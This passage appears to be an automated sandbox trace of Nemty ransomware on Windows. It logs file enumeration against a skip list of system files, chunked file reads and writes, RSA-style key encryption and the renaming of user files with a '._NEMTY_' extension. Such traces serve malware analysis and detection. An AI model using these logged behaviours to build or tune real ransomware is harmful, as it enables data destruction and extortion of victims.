dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.137] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.137] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.163] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.163] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0094.169] CloseHandle (hObject=0xffffffff) returned 0 [0094.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0094.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0094.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0094.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0094.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0094.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0094.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0094.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0094.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0094.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0094.170] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png._nemty_kgobjgd_")) returned 0 [0094.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0094.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0094.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0094.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0094.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0094.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0094.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0094.170] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Passport.wmv", cAlternateFileName="")) returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2=".") returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="..") returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="...") returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="windows") returned -1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="$RECYCLE.BIN") returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="rsa") returned -1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="NTDETECT.COM") returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="ntldr") returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="MSDOS.SYS") returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="IO.SYS") returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="boot.ini") returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="boot.ini") returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="ntuser.dat") returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="desktop.ini") returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="CONFIG.SYS") returned 1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="RECYCLER") returned -1 [0094.170] lstrcmpiW (lpString1="Passport.wmv", lpString2="BOOTSECT.BAK") returned 1 [0094.171] lstrcmpiW (lpString1="Passport.wmv", lpString2="bootmgr") returned 1 [0094.171] lstrcmpiW (lpString1="Passport.wmv", lpString2="programdata") returned -1 [0094.171] lstrcmpiW (lpString1="Passport.wmv", lpString2="appdata") returned 1 [0094.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport.wmv", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0094.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport.wmv", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Passport.wmv", lpUsedDefaultChar=0x0) returned 12 [0094.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0094.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport.wmv", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0094.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport.wmv", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Passport.wmv", lpUsedDefaultChar=0x0) returned 12 [0094.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0094.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport.wmv", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0094.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport.wmv", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Passport.wmv", lpUsedDefaultChar=0x0) returned 12 [0094.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport.wmv", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0094.171] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Passport.wmv", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Passport.wmv", lpUsedDefaultChar=0x0) returned 12 [0094.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0094.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0094.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0094.171] Sleep (dwMilliseconds=0x5) [0094.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xebc79190, dwHighDateTime=0x1d561e7)) [0094.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xebc79190, dwHighDateTime=0x1d561e7)) [0094.179] GetLastError () returned 0x5 [0094.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0094.179] GetLastError () returned 0x5 [0094.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0094.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0094.179] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0094.179] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0094.179] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0094.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0094.179] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="nE4iVtr9Mk393JudbiiXG6Ltf4/ItBPDCYwtF3OjoJWpJkpGiaH1F+WnkL8v1K6m\r\ngLiYlzV1q+4LH4910G6QlARtq/D+Y7/rZt34wQ+jP7W4LTQSMykc/emsF7gaDkAD\r\nI7ZpFBEGb1xd7NfQZ7M1JX0OtK3U2yj1jJTBhZUue3pxkjqI8VfzxSgOGZk1I2z4\r\nSbHF66Mjz3KCsxSVGMmK91MxYYCanQCLWC0bQWi0fdYobawnpBAtpVlxTyz5fkgg\r\nWB1IEjv5rq5FKN8P5JM4hCmWyrsq5p8FjCfDM4f65xXB3RTjJ6K2EKeyYTNXPPn4\r\ngPHXt8nF20Ibs8Ae4wjZnw==\r\n", pcchString=0x653e91c) returned 1 [0094.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0094.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0094.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0094.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0094.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0094.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0094.179] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.179] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0094.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0094.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.180] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.189] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.199] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.246] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.246] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.256] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.256] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.265] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.265] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.274] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0094.286] CloseHandle (hObject=0xffffffff) returned 0 [0094.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0094.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 